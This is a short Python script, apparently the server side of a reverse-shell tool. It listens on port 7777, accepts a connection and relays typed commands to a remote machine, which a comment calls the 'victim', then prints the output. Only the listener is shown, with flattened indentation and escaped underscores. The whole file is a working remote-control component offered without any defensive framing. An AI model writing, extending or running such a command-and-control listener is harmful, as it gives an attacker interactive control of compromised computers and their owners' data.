import socket  
import sys  
  
# Create a Socket (Connect two PC)  
  
def create\_socket():  
 try:  
 global host  
 global port  
 global s  
 host = ""  
 port = 7777  
 s = socket.socket()  
 except socket.error as msg:  
 print("Socket creation error:" + str(msg))  
  
# Binding the socket and listening for connections  
  
def bind\_socket():  
 try:  
 global host  
 global port  
 global s  
  
 print("Binding the port: " + str(port))  
 s.bind((host, port))  
 s.listen(5)  
 except socket.error as msg:  
 print("Socket Binding error" + str(msg) + "\n" + "Retrying...")  
 bind\_socket()  
  
# Establish connection with a client (Socket must be listening)  
  
def socket\_accept():  
 conn, address = s.accept()  
 print("Connection has been established | " + "IP: |" + address[0] + "Port: |" + str(address[1]))  
 send\_commands(conn)  
 conn.close()  
  
# Send command to client/victim:  
  
def send\_commands(conn):  
 while True:  
 cmd = input()  
 if cmd == "quit":  
 conn.close()  
 s.close()  
 sys.exit()  
 if len(str.encode(cmd)) > 0:  
 conn.send(str.encode(cmd))  
 client\_response = str(conn.recv(1024), "utf-8")  
 print(client\_response, end="")  
  
def main():  
 create\_socket()  
 bind\_socket()  
 socket\_accept()  
  
main()